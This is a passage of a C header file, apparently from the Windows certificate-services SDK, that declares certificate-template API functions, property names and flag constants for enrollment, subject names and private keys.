- Can be an ORing of the following flags:\n//\n//                      CT_CLONE_KEEP_AUTOENROLLMENT_SETTING\n//                      CT_CLONE_KEEP_SUBJECT_NAME_SETTING\n//\nHRESULT\nWINAPI\nCACloneCertType(\n    IN  HCERTTYPE            hCertType,\n    IN  LPCWSTR              wszCertType,\n    IN  LPCWSTR              wszFriendlyName,\n    IN  LPVOID               pvldap,\n    IN  DWORD                dwFlags,\n    OUT HCERTTYPE *          phCertType\n    );\n\n\n#define  CT_CLONE_KEEP_AUTOENROLLMENT_SETTING       0x01\n#define  CT_CLONE_KEEP_SUBJECT_NAME_SETTING         0x02  \n\n\n//\n// CACreateCertType\n// Create a new cert type\n//\n// wszCertType  - Name of the cert type\n//\n// pvPara     - If set is the LDAP handle to the DC.\n//\n// dwFlags      - reserved.  Must set to NULL.\n//\n// phCertType   - returned cert type\n//\nHRESULT\nWINAPI\nCACreateCertType(\n    IN  LPCWSTR             wszCertType,\n    IN  LPVOID                pvPara,\n    IN  DWORD               dwFlags,\n    OUT HCERTTYPE *         phCertType\n    );\n\n\n//\n// CAEnumNextCertType\n// Find the Next Cert Type in an enumeration.\n//\n// hPrevCertType        - Previous cert type in enumeration\n//\n// phCertType           - Pointer to a handle into which result is placed.\n//\t\t\t  NULL if there are no more cert types in enumeration.\n//\n\nHRESULT\nWINAPI\nCAEnumNextCertType(\n    IN  HCERTTYPE          hPrevCertType,\n    OUT HCERTTYPE *        phCertType\n    );\n\n\n//\n// CACountCertTypes\n// return the number of cert types in this enumeration\n//\n\nDWORD\nWINAPI\nCACountCertTypes(\n    IN  HCERTTYPE  hCertType\n    );\n\n\n//\n// CACloseCertType\n// Close an open CertType handle\n//\n\nHRESULT\nWINAPI\nCACloseCertType(\n    IN HCERTTYPE hCertType\n    );\n\n\n//\n// CAGetCertTypeProperty\n// Retrieve a property from a certificate type.   This function is obsolete.\n// Caller should use CAGetCertTypePropertyEx instead\n//\n// hCertType            - Handle to an open CertType object.\n//\n// wszPropertyName      - Name of the CertType property.\n//\n// pawszPropertyValue   - A pointer into which an array of WCHAR strings is\n//\t\t\t  written, containing the values of the property.  The\n//\t\t\t  last element of the array points to NULL.  If the\n//\t\t\t  property is single valued, then the array returned\n//\t\t\t  contains 2 elements, the first pointing to the value,\n//\t\t\t  the second pointing to NULL.  This pointer must be\n//                        freed by CAFreeCertTypeProperty.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeProperty(\n    IN  HCERTTYPE   hCertType,\n    IN  LPCWSTR     wszPropertyName,\n    _Out_ PZPWSTR  *pawszPropertyValue);\n\n//\n// CAGetCertTypePropertyEx\n// Retrieve a property from a certificate type.\n//\n// hCertType            - Handle to an open CertType object.\n//\n// wszPropertyName      - Name of the CertType property\n//\n// pPropertyValue       - Depending on the value of wszPropertyName,\n//\t\t\t  pPropertyValue is either DWORD * or LPWSTR **.  \n// \n//                        It is a DWORD * for:\n//                          CERTTYPE_PROP_REVISION              \n//                          CERTTYPE_PROP_SCHEMA_VERSION\t\t\n//                          CERTTYPE_PROP_MINOR_REVISION        \n//                          CERTTYPE_PROP_RA_SIGNATURE\t\t\t\n//                          CERTTYPE_PROP_MIN_KEY_SIZE\t\n//                          CERTTYPE_PROP_SYM_KEY_LENGTH\n//\t\t\n//                        It is a LPWSTR ** for:\n//                          CERTTYPE_PROP_CN                    \n//                          CERTTYPE_PROP_DN                    \n//                          CERTTYPE_PROP_FRIENDLY_NAME         \n//                          CERTTYPE_PROP_EXTENDED_KEY_USAGE    \n//                          CERTTYPE_PROP_CSP_LIST              \n//                          CERTTYPE_PROP_CRITICAL_EXTENSIONS   \n//                          CERTTYPE_PROP_OID\t\t\t\t\t\n//                          CERTTYPE_PROP_SUPERSEDE\t\t\t\t\n//                          CERTTYPE_PROP_RA_POLICY\t\t\t\t\n//                          CERTTYPE_PROP_POLICY\n//                          CERTTYPE_PROP_DESCRIPTION\n//                          CERTTYPE_PROP_ASYM_ALG\n//                          CERTTYPE_PROP_SYM_ALG\n//                          CERTTYPE_PROP_HASH_ALG\n//\t\t\t\t\n//                        A pointer into which an array of WCHAR strings is\n//\t\t\t  written, containing the values of the property.  The\n//\t\t\t  last element of the array points to NULL.  If the\n// \t\t\t  property is single valued, then the array returned\n//\t\t\t  contains 2 elements, the first pointing to the value,\n//\t\t\t  the second pointing to NULL. This pointer must be\n//                        freed by CAFreeCertTypeProperty.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCAGetCertTypePropertyEx(\n    IN  HCERTTYPE   hCertType,\n    IN  LPCWSTR     wszPropertyName,\n    OUT LPVOID      pPropertyValue);\n\n\n//*****************************************************************************\n//\n// Certificate Type properties\n// \n//*****************************************************************************\n\n//*****************************************************************************\n//\n//  The schema version one properties\n//\n//*****************************************************************************\n\n// Common name of the certificate type\n#define CERTTYPE_PROP_CN                    L\"cn\"\n\n// The common name of the certificate type.  Same as CERTTYPE_PROP_CN\n// This property is not settable.\n#define CERTTYPE_PROP_DN                    L\"distinguishedName\"\n\n// The display name of a cert type retrieved from Crypt32 ( this accounts for the locale specific display names stored in OIDs)\n#define CERTTYPE_PROP_FRIENDLY_NAME         L\"displayName\"\n\n// The display name of the cert type stored in the template object in DS\n#define CERTTYPE_PROP_DS_DISPLAY_NAME L\"dsDisplayName\"\n\n// An array of extended key usage OIDs for a cert type\n// NOTE: This property can also be set by setting\n// the Extended Key Usage extension.\n#define CERTTYPE_PROP_EXTENDED_KEY_USAGE    L\"pKIExtendedKeyUsage\"\n\n// The list of default CSPs for this cert type.\n#define CERTTYPE_PROP_CSP_LIST              L\"pKIDefaultCSPs\"\n\n// The list of critical extensions\n#define CERTTYPE_PROP_CRITICAL_EXTENSIONS   L\"pKICriticalExtensions\"\n\n// The major version of the templates\n#define CERTTYPE_PROP_REVISION              L\"revision\"\n\n// The description of the templates\n#define CERTTYPE_PROP_DESCRIPTION           L\"templateDescription\"\n\n//*****************************************************************************\n//\n//  The schema version two properties\n//\n//*****************************************************************************\n// The schema version of the templates\n// This property may be changed from v3 to v2 or vice versa only.\n#define CERTTYPE_PROP_SCHEMA_VERSION\t    L\"msPKI-Template-Schema-Version\"\n\n// The minor version of the templates\n#define CERTTYPE_PROP_MINOR_REVISION        L\"msPKI-Template-Minor-Revision\"\n\n// The number of RA signatures required on a request referencing this template.\n#define CERTTYPE_PROP_RA_SIGNATURE\t        L\"msPKI-RA-Signature\"\n\n// The minimal key size required\n#define CERTTYPE_PROP_MIN_KEY_SIZE\t        L\"msPKI-Minimal-Key-Size\"\n\n// The OID of this template\n#define CERTTYPE_PROP_OID\t\t            L\"msPKI-Cert-Template-OID\"\n\n// The OID of the template that this template supersedes\n#define CERTTYPE_PROP_SUPERSEDE\t\t        L\"msPKI-Supersede-Templates\"\n\n// The RA issuer policy OIDs required in certs used to sign a request.\n// Each signing cert's szOID_CERT_POLICIES extensions must contain at least one\n// of the OIDs listed in the msPKI-RA-Policies property.\n// Each OID listed must appear in the szOID_CERT_POLICIES extension of at least\n// one signing cert.\n#define CERTTYPE_PROP_RA_POLICY\t\t        L\"msPKI-RA-Policies\"\n\n// The RA application policy OIDs required in certs used to sign a request.\n// Each signing cert's szOID_APPLICATION_CERT_POLICIES extensions must contain\n// all of the OIDs listed in the msPKI-RA-Application-Policies property.\n#define CERTTYPE_PROP_RA_APPLICATION_POLICY L\"msPKI-RA-Application-Policies\"\n\n// The certificate issuer policy OIDs are placed in the szOID_CERT_POLICIES\n// extension by the policy module.\n#define CERTTYPE_PROP_POLICY\t\t        L\"msPKI-Certificate-Policy\"\n\n// The certificate application policy OIDs are placed in the\n// szOID_APPLICATION_CERT_POLICIES extension by the policy module.\n#define CERTTYPE_PROP_APPLICATION_POLICY    L\"msPKI-Certificate-Application-Policy\"\n\n\n//*****************************************************************************\n//\n//  The schema version three properties\n//\n//*****************************************************************************\n\n// The name of the asymmetric algorithm.\n#define CERTTYPE_PROP_ASYM_ALG                  L\"msPKI-Asymmetric-Algorithm\"\n\n// Security descriptor string for the asymmetric key.\n#define CERTTYPE_PROP_KEY_SECURITY_DESCRIPTOR   L\"msPKI-Key-Security-Descriptor\"\n\n// The name of the symmetric algorithm used by clients for key exchange\n#define CERTTYPE_PROP_SYM_ALG                   L\"msPKI-Symmetric-Algorithm\" \n\n// Length of the symmetric key in bits\n#define CERTTYPE_PROP_SYM_KEY_LENGTH            L\"msPKI-Symmetric-Key-Length\"\n\n// The name of the hash algorithm used by clients\n#define CERTTYPE_PROP_HASH_ALG                  L\"msPKI-Hash-Algorithm\"\n\n// Private Key KeyUsage\n#define CERTTYPE_PROP_KEY_USAGE                  L\"msPKI-Key-Usage\"\n\n#define CERTTYPE_SCHEMA_VERSION_1\t1\t\n#define CERTTYPE_SCHEMA_VERSION_2\t(CERTTYPE_SCHEMA_VERSION_1 + 1)\n#define CERTTYPE_SCHEMA_VERSION_3\t(CERTTYPE_SCHEMA_VERSION_2 + 1)\n#define CERTTYPE_SCHEMA_VERSION_4\t(CERTTYPE_SCHEMA_VERSION_3 + 1)\n#define CERTTYPE_SCHEMA_VERSION_CURRENT\tCERTTYPE_SCHEMA_VERSION_4\n\n\n//\n// CASetCertTypeProperty\n// Set a property of a CertType.  This function is obsolete.  \n// Use CASetCertTypePropertyEx.\n//\n// hCertType            - Handle to an open CertType object.\n//\n// wszPropertyName      - Name of the CertType property\n//\n// awszPropertyValue    - An array of values to set for this property.  The\n//\t\t\t  last element of this array should be NULL.  For\n//\t\t\t  single valued properties, the values beyond the first\n//\t\t\t  will be ignored upon update.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCASetCertTypeProperty(\n    IN  HCERTTYPE   hCertType,\n    IN  LPCWSTR     wszPropertyName,\n    _In_ PZPWSTR awszPropertyValue\n    );\n\n//\n// CASetCertTypePropertyEx\n// Set a property of a CertType\n//\n// hCertType            - Handle to an open CertType object.\n//\n// wszPropertyName      - Name of the CertType property\n//\n// pPropertyValue       - Depending on the value of wszPropertyName,\n//\t\t\t  pPropertyValue is either DWORD * or LPWSTR *. \n// \n//                        It is a DWORD * for:\n//                          CERTTYPE_PROP_REVISION              \n//                          CERTTYPE_PROP_MINOR_REVISION        \n//                          CERTTYPE_PROP_RA_SIGNATURE\t\t\t\n//                          CERTTYPE_PROP_MIN_KEY_SIZE\t\n//                          CERTTYPE_PROP_SYM_KEY_LENGTH\n//\n//                        It is a LPWSTR * for:\n//                          CERTTYPE_PROP_FRIENDLY_NAME         \n//                          CERTTYPE_PROP_EXTENDED_KEY_USAGE    \n//                          CERTTYPE_PROP_CSP_LIST              \n//                          CERTTYPE_PROP_CRITICAL_EXTENSIONS   \n//                          CERTTYPE_PROP_OID\t\t\t\t\t\n//                          CERTTYPE_PROP_SUPERSEDE\t\t\t\t\n//                          CERTTYPE_PROP_RA_POLICY\t\t\t\t\n//                          CERTTYPE_PROP_POLICY\n//                          CERTTYPE_PROP_ASYM_ALG\n//                          CERTTYPE_PROP_SYM_ALG\n//                          CERTTYPE_PROP_HASH_ALG\n//\t\t\t\t\n//                      - An array of values to set for this property.  The\n//\t\t\t  last element of this array should be NULL.  For\n//\t\t\t  single valued properties, the values beyond the first\n//\t\t\t  will be ignored upon update.\n//\n//      \n//                      - CertType of V1 schema can only set V1 properties.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCASetCertTypePropertyEx(\n    IN  HCERTTYPE   hCertType,\n    IN  LPCWSTR     wszPropertyName,\n    IN  LPVOID      pPropertyValue);\n\n\n//\n// CADCSetCertTypePropertyEx\n// Set a property of a CertType\n//\n// hCertType            - Handle to an open CertType object.\n//\n// wszPropertyName      - Name of the CertType property\n//\n// pPropertyValue       - Depending on the value of wszPropertyName,\n//\t\t\t  pPropertyValue is either DWORD * or LPWSTR *.\n// pvldap               - Pointer to an LDAP handle, reqd while\n//                        setting the CN property ( when we create a new OID)  \n// \n//                        It is a DWORD * for:\n//                          CERTTYPE_PROP_REVISION              \n//                          CERTTYPE_PROP_MINOR_REVISION        \n//                          CERTTYPE_PROP_RA_SIGNATURE\t\t\t\n//                          CERTTYPE_PROP_MIN_KEY_SIZE\t\n//                          CERTTYPE_PROP_SYM_KEY_LENGTH\n//\n//                        It is a LPWSTR * for:\n//                          CERTTYPE_PROP_FRIENDLY_NAME         \n//                          CERTTYPE_PROP_EXTENDED_KEY_USAGE    \n//                          CERTTYPE_PROP_CSP_LIST              \n//                          CERTTYPE_PROP_CRITICAL_EXTENSIONS   \n//                          CERTTYPE_PROP_OID\t\t\t\t\t\n//                          CERTTYPE_PROP_SUPERSEDE\t\t\t\t\n//                          CERTTYPE_PROP_RA_POLICY\t\t\t\t\n//                          CERTTYPE_PROP_POLICY\n//                          CERTTYPE_PROP_ASYM_ALG\n//                          CERTTYPE_PROP_SYM_ALG\n//                          CERTTYPE_PROP_HASH_ALG\n//\t\t\t\t\n//                      - An array of values to set for this property.  The\n//\t\t\t  last element of this array should be NULL.  For\n//\t\t\t  single valued properties, the values beyond the first\n//\t\t\t  will be ignored upon update.\n//\n//      \n//                      - CertType of V1 schema can only set V1 properties.\n//\n// Returns              - S_OK on success.\n//\n\nHRESULT\nWINAPI\nCADCSetCertTypePropertyEx(\n    IN  HCERTTYPE   hCertType,\n    IN  LPCWSTR     wszPropertyName,\n    IN  LPVOID      pPropertyValue,\n    IN OPTIONAL LPVOID  pvldap\n    );\n\n\n//\n// CAFreeCertTypeProperty\n// Frees a previously retrieved property value.\n//\n// hCertType            - Handle to an open CertType object.\n//\n// awszPropertyValue     - The values to be freed.\n//\nHRESULT\nWINAPI\nCAFreeCertTypeProperty(\n    IN  HCERTTYPE   hCertType,\n    _In_opt_ PZPWSTR awszPropertyValue\n    );\n\n\n//\n// CAGetCertTypeExtensions\n// Retrieves the extensions associated with this CertType.\n//\n// hCertType            - Handle to an open CertType object.\n// ppCertExtensions     - Pointer to a PCERT_EXTENSIONS to receive the result\n//\t\t\t  of this call.  Should be freed via a\n//\t\t\t  CAFreeCertTypeExtensions call.\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeExtensions(\n    IN  HCERTTYPE           hCertType,\n    OUT PCERT_EXTENSIONS *  ppCertExtensions\n    );\n\n\n//\n// CAGetCertTypeExtensionsEx\n// Retrieves the extensions associated with this CertType.\n//\n// hCertType            - Handle to an open CertType object.\n// dwFlags              - Indicate which extension to be returned.\n//                        Can be an ORing of following flags:\n//                          \n//                          CT_EXTENSION_TEMPLATE\n//                          CT_EXTENSION_KEY_USAGE\n//                          CT_EXTENSION_EKU\n//                          CT_EXTENSION_BASIC_CONTRAINTS\n//                          CT_EXTENSION_APPLICATION_POLICY (Version 2 template only)\n//                          CT_EXTENSION_ISSUANCE_POLICY  (Version 2 template only)\n//                          CT_EXTENSION_OCSP_REV_NO_CHECK (Version 2 template only)\n//\n//                        0 means all avaiable extension for this CertType.\n//\n// pParam               - optional LDAP Handle\n// ppCertExtensions     - Pointer to a PCERT_EXTENSIONS to receive the result\n//\t\t\t  of this call.  Should be freed via a\n//\t\t\t  CAFreeCertTypeExtensions call.\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeExtensionsEx(\n    IN  HCERTTYPE           hCertType,\n    IN  DWORD               dwFlags,\n    IN  LPVOID              pParam,\n    OUT PCERT_EXTENSIONS *  ppCertExtensions\n    );\n\n\n#define     CT_EXTENSION_TEMPLATE               0x01\n#define     CT_EXTENSION_KEY_USAGE              0x02\n#define     CT_EXTENSION_EKU                    0x04\n#define     CT_EXTENSION_BASIC_CONTRAINTS       0x08\n#define     CT_EXTENSION_APPLICATION_POLICY     0x10\n#define     CT_EXTENSION_ISSUANCE_POLICY        0x20\n#define     CT_EXTENSION_OCSP_REV_NO_CHECK      0x40\n\n\n\n//\n// CAFreeCertTypeExtensions\n// Free a PCERT_EXTENSIONS allocated by CAGetCertTypeExtensions\n//\nHRESULT\nWINAPI\nCAFreeCertTypeExtensions(\n    IN  HCERTTYPE           hCertType,\n    IN  PCERT_EXTENSIONS    pCertExtensions\n    );\n\n//\n// CASetCertTypeExtension\n// Set the value of an extension for this\n// cert type.\n//\n// hCertType            - handle to the CertType\n//\n// wszExtensionId       - OID for the extension\n//\n// dwFlags              - Mark the extension critical\n//\n// pExtension           - pointer to the appropriate extension structure\n//\n// Supported extensions/structures\n//\n// szOID_ENHANCED_KEY_USAGE     CERT_ENHKEY_USAGE\n// szOID_KEY_USAGE              CRYPT_BIT_BLOB\n// szOID_BASIC_CONSTRAINTS2     CERT_BASIC_CONSTRAINTS2_INFO\n//\n// Returns S_OK if successful.\n//\n\nHRESULT\nWINAPI\nCASetCertTypeExtension(\n    IN HCERTTYPE   hCertType,\n    IN LPCWSTR wszExtensionId,\n    IN DWORD   dwFlags,\n    IN LPVOID pExtension\n    );\n\n#define CA_EXT_FLAG_CRITICAL   0x00000001\n\n\n\n//\n// CAGetCertTypeFlags\n// Retrieve cert type flags.  \n// This function is obsolete.  Use CAGetCertTypeFlagsEx.\n//\n// hCertType            - handle to the CertType\n//\n// pdwFlags             - pointer to DWORD receiving flags\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeFlags(\n    IN  HCERTTYPE           hCertType,\n    OUT DWORD *             pdwFlags\n    );\n\n//\n// CAGetCertTypeFlagsEx\n// Retrieve cert type flags\n//\n// hCertType            - handle to the CertType\n//\n// dwOption             - Which flag to set\n//                        Can be one of the following:\n//                        CERTTYPE_ENROLLMENT_FLAG\n//                        CERTTYPE_SUBJECT_NAME_FLAG\n//                        CERTTYPE_PRIVATE_KEY_FLAG\n//                        CERTTYPE_GENERAL_FLAG\n//\n// pdwFlags             - pointer to DWORD receiving flags\n//\n\nHRESULT\nWINAPI\nCAGetCertTypeFlagsEx(\n    IN  HCERTTYPE           hCertType,\n    IN  DWORD               dwOption,\n    OUT DWORD *             pdwFlags\n    );\n\n\n//*****************************************************************************\n//\n// Cert Type Flags\n//\n// The CertType flags are grouped into 4 categories:\n//  1. Enrollment Flags (CERTTYPE_ENROLLMENT_FLAG)     \n//\t2. Certificate Subject Name Flags (CERTTYPE_SUBJECT_NAME_FLAG)  \n//\t3. Private Key Flags (CERTTYPE_PRIVATE_KEY_FLAG)    \n//\t4. General Flags (CERTTYPE_GENERAL_FLAG)        \n//*****************************************************************************\n\n//Enrollment Flags\n#define CERTTYPE_ENROLLMENT_FLAG            0x01\n\n//Certificate Subject Name Flags\n#define CERTTYPE_SUBJECT_NAME_FLAG          0x02\n\n//Private Key Flags\n#define CERTTYPE_PRIVATE_KEY_FLAG           0x03\n\n//General Flags\n#define CERTTYPE_GENERAL_FLAG               0x04\n\n\n// Used for certenroll.idl:\n// certenroll_begin -- CT_FLAG_xxxx\n\n//*****************************************************************************\n//\n// Enrollment Flags:\n//\n//*****************************************************************************\n// Include the symmetric algorithms in the requests\n#define CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS\t\t\t0x00000001\n\n// All certificate requests are pended\n#define CT_FLAG_PEND_ALL_REQUESTS\t\t\t\t0x00000002\n\n// Publish the certificate to the KRA (key recovery agent container) on the DS\n#define CT_FLAG_PUBLISH_TO_KRA_CONTAINER\t\t\t0x00000004\n\t\t\n// Publish the resultant cert to the userCertificate property in the DS\n#define CT_FLAG_PUBLISH_TO_DS\t\t\t\t\t0x00000008\n\n// The autoenrollment will not enroll for new certificate if user has a certificate\n// published on the DS with the same template name\n#define CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE       0x00000010\n\n// This cert is appropriate for auto-enrollment\n#define CT_FLAG_AUTO_ENROLLMENT\t\t\t\t\t0x00000020\n\n// A previously issued certificate will valid subsequent enrollment requests\n#define CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT         0x00000040\n\n// Domain authentication is not required.  \n#define CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED              0x00000080\n\n// User interaction is required to enroll\n#define CT_FLAG_USER_INTERACTION_REQUIRED                       0x00000100\n\n// Add szOID_CERTTYPE_EXTENSION (template name) extension\n// This flag will ONLY be set on V1 certificate templates for W2K CA only.\n#define CT_FLAG_ADD_TEMPLATE_NAME\t\t                0x00000200\n\n// Remove invalid (expired or revoked) certificate from personal store\n#define CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE  0x00000400\n\n// Allow enroll-on-behalf-of; RA requirements still apply to signers\n#define CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF  \t\t\t0x00000800\n\n// Add szOID_PKIX_OCSP_NOCHECK extension \n#define CT_FLAG_ADD_OCSP_NOCHECK\t\t\t\t0x00001000\n\n// Used by the enrollment client only, if key generation for renewal fails\n// for a smart card then renewal will re-use the existing key\n#define CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL\t0x00002000\n\n// Tells the CA that this certificate should not have the CDP extension and OCSP AIA extension\n#define CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS 0x00004000\n\n// Tells the CA to include the Basic Constraints extension\n#define CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS 0x00008000\n\n// For ROBO requests of Offline templates, tells the CA to ignore AccessCheck for the following reasons.\n// a) The original request may not be in the CA database as the original cert may have been issued \n//    from a different CA in the enterprise.\n// b) The original requestor account\\permissions may not be valid anymore but the signer cert is valid.\n// c) This flag also informs a KEYONLY CEP to select and return these templates\n#define CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT 0x00010000\n\n// Indicates that the Certificate Issuance Policies to be included in the issued certificate come from\n// the request rather than the template.  The template contains a list of all of the issuance policies\n// the request is allowed to specify -- if the request contains policies not listed in the template\n// then the request is rejected.\n#define CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST 0x00020000\n\n// Indicates that the certificate should not be autorenewed although it has a valid template.  \n// This flag is mainly for templates that deployed by MDM or VSC where the certificate cannot be autorenewed.\n#define CT_FLAG_SKIP_AUTO_RENEWAL   0x00040000\n\n\n//*****************************************************************************\n//\n// Certificate Subject Name Flags:\n//\n//*****************************************************************************\n\n// The enrolling application must supply the subject name.\n#define CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\t\t\t0x00000001\n\n// The enrolling application must supply the subjectAltName in request\n#define CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME\t\t0x00010000\n\n// Subject name should be full DN\n#define CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH\t\t\t0x80000000\n\n// Subject name should be the common name\n#define CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME\t\t\t0x40000000\n\n// Subject name includes the e-mail name\n#define CT_FLAG_SUBJECT_REQUIRE_EMAIL\t\t\t\t0x20000000\n\n// Subject name includes the DNS name as the common name\n#define CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN\t\t\t0x10000000\n\n// Subject alt name includes DNS name\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_DNS\t\t\t\t0x08000000\n\n// Subject alt name includes email name\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL\t\t\t0x04000000\n\n// Subject alt name requires UPN\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_UPN\t\t\t\t0x02000000\n\n// Subject alt name requires directory GUID\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID\t\t0x01000000\n\n// Subject alt name requires SPN\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_SPN                         0x00800000\n\n// Subject alt name requires Domain DNS name\n#define CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS                  0x00400000\t\t\n\n// Subject name should be copied from the renewing certificate\n#define CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME          0x00000008\t\n\n//\n// Obsolete name\t\n// The following flags are obsolete.  They are used by V1 templates in the\n// general flags\n//\n#define CT_FLAG_IS_SUBJECT_REQ      CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT\n\n// The e-mail name of the principal will be added to the cert\n#define CT_FLAG_ADD_EMAIL\t\t\t\t\t0x00000002\n\n// Add the object GUID for this principal\n#define CT_FLAG_ADD_OBJ_GUID\t\t\t\t\t0x00000004\n\n// Add DS Name (full DN) to szOID_SUBJECT_ALT_NAME2 (Subj Alt Name 2) extension\n// This flag is not SET in any of the V1 templates and is of no interests to\n// V2 templates since it is not present on the UI and will never be set.\n#define CT_FLAG_ADD_DIRECTORY_PATH\t\t\t\t0x00000100\n\n\n//*****************************************************************************\n//\n// Private Key Flags:\n//\n//*****************************************************************************\n\n// Archival of the private key is required\n#define CTPRIVATEKEY_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL\t\t0x00000001\n\n// Make the key for this cert exportable.\n#define CTPRIVATEKEY_FLAG_EXPORTABLE_KEY\t\t        0x00000010\n\n// Require the strong key protection UI when a new key is generated\n#define CTPRIVATEKEY_FLAG_STRONG_KEY_PROTECTION_REQUIRED\t0x00000020\n\n// Require discrete signature algorithm when request is signed\n// Implies RSA V2.1 signature format for RSA signatures\n#define CTPRIVATEKEY_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM\t0x00000040\n\n// Renewal must re-use the same key (v4)\n#define CTPRIVATEKEY_FLAG_REQUIRE_SAME_KEY_RENEWAL\t\t0x00000080\n\n// Use legacy CSP instead of CNG KSP (v4)\n#define CTPRIVATEKEY_FLAG_USE_LEGACY_PROVIDER\t\t\t0x00000100\n\n// Attestation: allowed EK validation methods:\n#define CTPRIVATEKEY_FLAG_EK_TRUST_ON_USE\t\t\t0x00000200\n#define CTPRIVATEKEY_FLAG_EK_VALIDATE_CERT\t\t\t0x00000400\n#define CTPRIVATEKEY_FLAG_EK_VALIDATE_KEY\t\t\t0x00000800\n\n// Attestation required/preferred/none:\n#define CTPRIVATEKEY_FLAG_ATTEST_NONE\t\t\t\t0x00000000\n#define CTPRIVATEKEY_FLAG_ATTEST_PREFERRED\t\t\t0x00001000\n#define CTPRIVATEKEY_FLAG_ATTEST_REQUIRED\t\t\t0x00002000\n#define CTPRIVATEKEY_FLAG_ATTEST_MASK\t\t\t\t0x00003000\n\n#define CTPKSetAttestationLevel(f, v) \\\n    f = (((f) & ~CTPRIVATEKEY_FLAG_ATTEST_MASK) | (v) )\n\n// Attestation without issuance policies\n#define CTPRIVATEKEY_FLAG_ATTEST_WITHOUT_POLICY\t\t\t0x00004000\n\n// Minimum Template Server OS version:\n#define CTPRIVATEKEY_FLAG_SERVERVERSION_MASK\t\t\t0x000f0000\n#define CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT\t\t\t16\n\n#define TEMPLATE_SERVER_VER_NONE\t0\n#define TEMPLATE_SERVER_VER_2003\t1\n#define TEMPLATE_SERVER_VER_2008\t2\n#define TEMPLATE_SERVER_VER_2008R2\t3\n#define TEMPLATE_SERVER_VER_WIN8\t4\n#define TEMPLATE_SERVER_VER_WINBLUE\t5\n#define TEMPLATE_SERVER_VER_THRESHOLD   6\n#define TEMPLATE_SERVER_VER_CURRENT\tTEMPLATE_SERVER_VER_THRESHOLD\n\n// produces TEMPLATE_SERVER_VER_* values:\n#define CTPKGetServerVersion(f)       (((f) & CTPRIVATEKEY_FLAG_SERVERVERSION_MASK) >> CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT)\n\n#define CTPKSetServerVersion(f, v) \\\n    f = (((f) & ~CTPRIVATEKEY_FLAG_SERVERVERSION_MASK) | v << CTPRIVATEKEY_FLAG_SERVERVERSION_SHIFT)\n\n// Convert CSVER_MAJOR_* to TEMPLATE_SERVER_VER_*\n// CSVER_MAJOR increases in each release. TEMPLATE_SERVER_VER_* may or may not.\n// Update the following macro if TEMPLATE_SERVER_VER_CURRENT stays the same\n#define CS_MAJOR_VERSION_TO_TEMPLATE_SERVER_VERSION(v) (v - 1)\n\n// Minimum Template Client OS version:\n#define CTPRIVATEKEY_FLAG_CLIENTVERSION_MASK\t\t\t0x0f000000\n#define CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT\t\t\t24\n\n#define TEMPLATE_CLIENT_VER_NONE\t0\n#define TEMPLATE_CLIENT_VER_XP\t\t1\n#define TEMPLATE_CLIENT_VER_VISTA\t2\n#define TEMPLATE_CLIENT_VER_WIN7\t3\n#define TEMPLATE_CLIENT_VER_WIN8\t4\n#define TEMPLATE_CLIENT_VER_WINBLUE\t5\n#define TEMPLATE_CLIENT_VER_THRESHOLD   6\n#define TEMPLATE_CLIENT_VER_CURRENT\tTEMPLATE_CLIENT_VER_THRESHOLD\n\n// produces TEMPLATE_CLIENT_VER_* values:\n#define CTPKGetClientVersion(f)       (((f) & CTPRIVATEKEY_FLAG_CLIENTVERSION_MASK) >> CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT)\n\n#define CTPKSetClientVersion(f, v) \\\n    f = (((f) & ~CTPRIVATEKEY_FLAG_CLIENTVERSION_MASK) | v << CTPRIVATEKEY_FLAG_CLIENTVERSION_SHIFT)\n\n#define CTPKIsCNGTemplate(s, f) \\\n    (CERTTYPE_SCHEMA_VERSION_3 == (s) ||\t\\\n     (CERTTYPE_SCHEMA_VERSION_4 <= (s) &&\t\\\n      0 == (CTPRIVATEKEY_FLAG_USE_LEGACY_PROVIDER & (f))))\n\n\n//--------------------------------------------------------------\n// For backwards compatibility only:\n#define CT_FLAG_ALLOW_PRIVATE_KEY_ARCHIVAL\tCTPRIVATEKEY_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL\n#define CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL\tCTPRIVATEKEY_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL\n#define 